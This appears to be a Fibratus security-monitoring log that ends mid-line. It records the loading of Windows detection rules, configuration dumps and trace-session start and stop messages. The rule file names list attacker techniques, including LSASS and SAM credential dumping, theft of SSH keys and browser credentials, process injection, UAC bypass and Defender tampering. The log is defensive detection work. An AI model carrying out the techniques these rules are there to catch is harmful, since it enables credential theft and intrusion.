level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-23T18:12:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-23T18:12:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-23T18:12:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-23T18:12:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-23T18:12:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-23T18:12:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-23T18:12:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-23T18:12:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-23T18:12:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-23T18:12:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-23T18:12:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-23T18:12:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-23T18:12:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-23T18:12:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-23T18:12:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-23T18:12:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-23T18:12:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-23T18:12:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-23T18:12:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-23T18:12:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-23T18:12:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-23T18:12:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-23T18:12:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-23T18:12:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-23T18:12:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-23T18:12:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-23T18:12:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-23T18:12:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-23T18:12:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-23T18:12:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-23T18:12:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-23T18:12:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-23T18:12:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-23T18:12:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-23T18:12:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-23T18:12:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-23T18:12:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-23T18:12:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-23T18:12:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-23T18:12:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-23T18:12:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-23T18:12:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-23T18:12:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-23T18:12:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-23T18:12:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-23T18:12:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-23T18:12:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-23T18:12:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-23T18:12:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-23T18:12:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-23T18:12:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-23T18:12:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-23T18:12:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-23T18:12:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-23T18:12:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-23T18:12:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-23T18:12:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-23T18:12:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-23T18:12:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-23T18:12:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-23T18:12:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_ifileoperation_abuse.yml source=config/filters.go:355 +time=2025-11-23T18:12:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-23T18:12:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-23T18:12:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-11-23T18:12:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_mmc_dll_hijack.yml source=config/filters.go:355 +time=2025-11-23T18:12:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-11-23T18:12:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-23T18:12:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-23T18:12:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-23T18:12:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-11-23T18:12:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-11-23T18:12:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-23T18:12:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-23T18:12:17+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-23T18:12:17+01:00 level=info msg=bootstrapping with pid 17936. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-23T18:12:17+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ systray=>[ quiet-mode=>false enabled=>false sound=>true] mail=>[ enabled=>false port=>25 content-type=>text/html use-template=>true to=>[]] slack=>[ enabled=>false] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-pe=>false serialize-images=>false serialize-threads=>false serialize-handles=>false serialize-envs=>true] + eventsource .................... [ enable-audit-api=>true enable-mem=>false enable-net=>true buffer-size=>512 enable-image=>true enable-dns=>false enable-registry=>true enable-threadpool=>false stack-enrichment=>true enable-fileio=>true flush-interval=>1s blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-vamap=>true max-buffers=>36 enable-thread=>true min-buffers=>16 enable-handle=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true from-urls=>[]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-backups=>15 formatter=>text max-size=>100 log-stdout=>true level=>info max-age=>0] + output ......................... [ eventlog=>[ enabled=>false level=>info] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Cmd }} + format=>pretty enabled=>true] elasticsearch=>[ healthcheck=>true healthcheck-timeout=>5s sniff=>false flush-period=>1s index-name=>fibratus template-name=>fibratus timeout=>5s enabled=>false bulk-workers=>1 healthcheck-interval=>10s trace-log=>false gzip-compression=>false servers=>[http://127.0.0.1:9200]] http=>[ enable-gzip=>false method=>POST serializer=>json timeout=>5s tls-insecure-skip-verify=>false endpoints=>[] enabled=>false] amqp=>[ enabled=>false vhost=>/ passive=>false durable=>false exchange=>fibratus routing-key=>fibratus tls-insecure-skip-verify=>false exchange-type=>topic delivery-mode=>transient timeout=>5s url=>amqp://localhost:5672]] + pe ............................. [ read-symbols=>false read-sections=>false read-resources=>false excluded-images=>[svchost.exe] enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ enabled=>false params=>[]] rename=>[ enabled=>false] tags=>[ enabled=>false] trim=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ skip-files=>false skip-allocs=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] scan-timeout=>10s fastscan=>true excluded-files=>[] skip-registry=>false excluded-procs=>[] enabled=>false skip-mmaps=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-23T18:12:18+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-23T18:12:23+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-23T18:12:56+01:00 level=error msg=unable to parse PE exports for module [C:\Users\nedo\AppData\Local\Temp\iscsiexe.dll]: open C:\Users\nedo\AppData\Local\Temp\iscsiexe.dll: The system cannot find the file specified. source=symbolize/symbolizer.go:246 +time=2025-11-23T18:13:17+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-23T18:13:18+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-23T18:13:18+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-23T18:13:44+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-23T18:13:44+01:00 level=info msg=bootstrapping with pid 15284. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-23T18:13:44+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ mail=>[ enabled=>false to=>[] use-template=>true port=>25 content-type=>text/html] slack=>[ enabled=>false] eventlog=>[ enabled=>true verbose=>true] systray=>[ quiet-mode=>false enabled=>false sound=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-pe=>false serialize-threads=>false serialize-images=>false serialize-envs=>true serialize-handles=>false] + eventsource .................... [ enable-thread=>true enable-image=>true flush-interval=>1s enable-net=>true buffer-size=>512 enable-handle=>false enable-audit-api=>true stack-enrichment=>true enable-mem=>false enable-vamap=>true enable-fileio=>true enable-registry=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] min-buffers=>16 max-buffers=>36 enable-threadpool=>false enable-dns=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true from-urls=>[]]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-backups=>15 formatter=>text log-stdout=>true level=>info max-size=>100 max-age=>0] + output ......................... [ elasticsearch=>[ template-name=>fibratus trace-log=>false timeout=>5s healthcheck=>true sniff=>false healthcheck-timeout=>5s healthcheck-interval=>10s flush-period=>1s gzip-compression=>false servers=>[http://127.0.0.1:9200] enabled=>false index-name=>fibratus bulk-workers=>1] eventlog=>[ enabled=>false level=>info] http=>[ serializer=>json endpoints=>[] timeout=>5s enable-gzip=>false method=>POST tls-insecure-skip-verify=>false enabled=>false] console=>[ format=>pretty enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Cmd }} +] amqp=>[ delivery-mode=>transient url=>amqp://localhost:5672 exchange=>fibratus durable=>false exchange-type=>topic passive=>false enabled=>false tls-insecure-skip-verify=>false timeout=>5s routing-key=>fibratus vhost=>/]] + pe ............................. [ read-resources=>false read-sections=>false enabled=>false excluded-images=>[svchost.exe] read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] trim=>[ enabled=>false] replace=>[ enabled=>false] tags=>[ enabled=>false] remove=>[ enabled=>false params=>[]]] + yara ........................... [ skip-allocs=>false excluded-procs=>[] excluded-files=>[] scan-timeout=>10s rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-files=>false fastscan=>true skip-mmaps=>false enabled=>false skip-registry=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-23T18:13:44+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-23T18:13:49+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-23T18:17:44+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-23T18:17:45+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-23T18:17:45+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-23T18:18:02+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-23T18:18:02+01:00 level=info msg=bootstrapping with pid 11972. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-23T18:18:02+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ mail=>[ to=>[] content-type=>text/html enabled=>false port=>25 use-template=>true] eventlog=>[ enabled=>true verbose=>true] slack=>[ enabled=>false] systray=>[ sound=>true enabled=>false quiet-mode=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-envs=>true serialize-handles=>false serialize-threads=>false serialize-pe=>false serialize-images=>false] + eventsource .................... [ enable-registry=>true stack-enrichment=>true enable-vamap=>true enable-handle=>false enable-dns=>false enable-threadpool=>false enable-fileio=>true flush-interval=>1s max-buffers=>36 blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] min-buffers=>16 enable-mem=>false buffer-size=>512 enable-net=>true enable-image=>true enable-audit-api=>true enable-thread=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[] enabled=>true] match-all=>true] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-age=>0 formatter=>text max-size=>100 level=>info max-backups=>15 log-stdout=>true] + output ......................... [ console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Cmd }} + enabled=>true format=>pretty] elasticsearch=>[ trace-log=>false bulk-workers=>1 servers=>[http://127.0.0.1:9200] index-name=>fibratus flush-period=>1s healthcheck=>true healthcheck-interval=>10s gzip-compression=>false enabled=>false healthcheck-timeout=>5s timeout=>5s template-name=>fibratus sniff=>false] eventlog=>[ enabled=>false level=>info] http=>[ endpoints=>[] enable-gzip=>false method=>POST timeout=>5s tls-insecure-skip-verify=>false serializer=>json enabled=>false] amqp=>[ delivery-mode=>transient vhost=>/ exchange-type=>topic tls-insecure-skip-verify=>false exchange=>fibratus durable=>false routing-key=>fibratus enabled=>false url=>amqp://localhost:5672 timeout=>5s passive=>false]] + pe ............................. [ read-resources=>false enabled=>false read-sections=>false read-symbols=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] tags=>[ enabled=>false] replace=>[ enabled=>false] remove=>[ enabled=>false params=>[]] rename=>[ enabled=>false]] + yara ........................... [ enabled=>false excluded-procs=>[] skip-allocs=>false fastscan=>true excluded-files=>[] skip-registry=>false skip-mmaps=>false scan-timeout=>10s rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-files=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-23T18:18:02+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-23T18:18:05+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-23T18:20:37+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-23T18:20:37+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-23T18:20:37+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-23T18:29:42+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-23T18:29:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-23T18:29:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-23T18:29:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-23T18:29:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-23T18:29:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-23T18:29:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-23T18:29:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-23T18:29:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-23T18:29:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-23T18:29:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-23T18:29:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-23T18:29:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-23T18:29:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-23T18:29:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-23T18:29:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-23T18:29:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-23T18:29:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-23T18:29:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-23T18:29:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-23T18:29:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-23T18:29:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-23T18:29:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-23T18:29:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-23T18:29:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-23T18:29:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-23T18:29:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-23T18:29:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-23T18:29:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-23T18:29:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-23T18:29:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-23T18:29:42+01:00 level=info msg=loading rule from 